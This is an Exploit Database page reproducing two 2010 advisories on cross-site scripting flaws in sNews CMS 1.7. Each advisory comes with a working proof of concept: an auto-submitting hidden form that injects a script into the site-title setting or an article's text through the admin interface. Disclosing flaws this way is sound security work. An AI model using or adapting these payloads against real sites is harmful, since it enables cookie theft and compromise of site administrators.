sNews CMS – Multiple Cross-Site Scripting Vulnerabilities

• Exploit Database
• 8 阅读

• 作者： High-Tech Bridge SA
  日期： 2010-10-21
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/15295/

• Vulnerability ID: HTB22638
  Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_snews_1.html
  Product: sNews
  Vendor: sNews Team ( tp://www.snewscms.com/ ) 
  Vulnerable Version: 1.7 and probably prior versions
  Vendor Notification: 05 October 2010 
  Vulnerability Type: XSS (Cross Site Scripting)
  Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
  Risk level: Medium 
  Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
  
  Vulnerability Details:
  User can execute arbitrary JavaScript code within the vulnerable application.
  
  The vulnerability exists due to failure in the "snews.php" script to properly sanitize user-supplied input in "website_title" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
  
  An attacker can use browser to exploit this vulnerability. The following PoC is available:
  
  <form action="http://host/?action=process&task=save_settings" method="post" name="main" >
  
  <input type="hidden" name="website_title" value='sNews 1.7"><script>alert(document.cookie)</script>'>
  <input type="hidden" name="home_sef" value="home">
  <input type="hidden" name="website_description" value="sNews CMS">
  <input type="hidden" name="website_keywords" value="snews">
  <input type="hidden" name="website_email" value="info (at) mydomain (dot) com [email concealed]">
  <input type="hidden" name="contact_subject" value="Contact Form">
  <input type="hidden" name="language" value="EN">
  <input type="hidden" name="charset" value="UTF-8">
  <input type="hidden" name="date_format" value="d.m.Y.+H:i">
  <input type="hidden" name="article_limit" value="3">
  <input type="hidden" name="rss_limit" value="5">
  <input type="hidden" name="display_page" value="0">
  <input type="hidden" name="num_categories" value="on">
  <input type="hidden" name="file_ext" value="phps,php,txt,inc,htm,html">
  <input type="hidden" name="allowed_file" value="php,htm,html,txt,inc,css,js,swf">
  <input type="hidden" name="allowed_img" value="gif,jpg,jpeg,png">
  <input type="hidden" name="comment_repost_timer" value="20">
  <input type="hidden" name="comments_order" value="ASC">
  <input type="hidden" name="comment_limit" value="30">
  <input type="hidden" name="word_filter_file" value="">
  <input type="hidden" name="word_filter_change" value="">
  <input type="hidden" name="save" value="Save">
  
  </form>
  <script>
  document.main.submit();
  </script>
  
  Vulnerability ID: HTB22637
  Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_snews.html
  Product: sNews
  Vendor: sNews Team ( http://www.snewscms.com/ ) 
  Vulnerable Version: 1.7 and probably prior versions
  Vendor Notification: 05 October 2010 
  Vulnerability Type: Stored XSS (Cross Site Scripting)
  Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
  Risk level: Medium 
  Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
  
  Vulnerability Details:
  User can execute arbitrary JavaScript code within the vulnerable application.
  
  The vulnerability exists due to failure in the "snews.php" script to properly sanitize user-supplied input in "text" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
  
  An attacker can use browser to exploit this vulnerability. The following PoC is available:
  
  <form action="http://host/?action=process&task=admin_article&id=2" method="post" name="main" >
  
  <input type="hidden" name="title" value="article title" />
  <input type="hidden" name="seftitle" value="sefurl" />
  <input type="hidden" name="text" value='article text"><script>alert(document.cookie)</script>' />
  <input type="hidden" name="define_category" value="1" />
  <input type="hidden" name="publish_article" value="on" />
  <input type="hidden" name="position" value="1" />
  <input type="hidden" name="description_meta" value="desc" />
  <input type="hidden" name="keywords_meta" value="key" />
  <input type="hidden" name="display_title" value="on" />
  <input type="hidden" name="display_info" value="on" />
  <input type="hidden" name="fposting_day" value="29" />
  <input type="hidden" name="fposting_month" value="9" />
  <input type="hidden" name="fposting_year" value="2010" />
  <input type="hidden" name="fposting_hour" value="16" />
  <input type="hidden" name="fposting_minute" value="40" />
  <input type="hidden" name="task" value="admin_article" />
  <input type="hidden" name="edit_article" value="Edit" />
  <input type="hidden" name="article_category" value="1" />
  <input type="hidden" name="id" value="2" />
  
  </form>
  <script>
  document.main.submit();
  </script>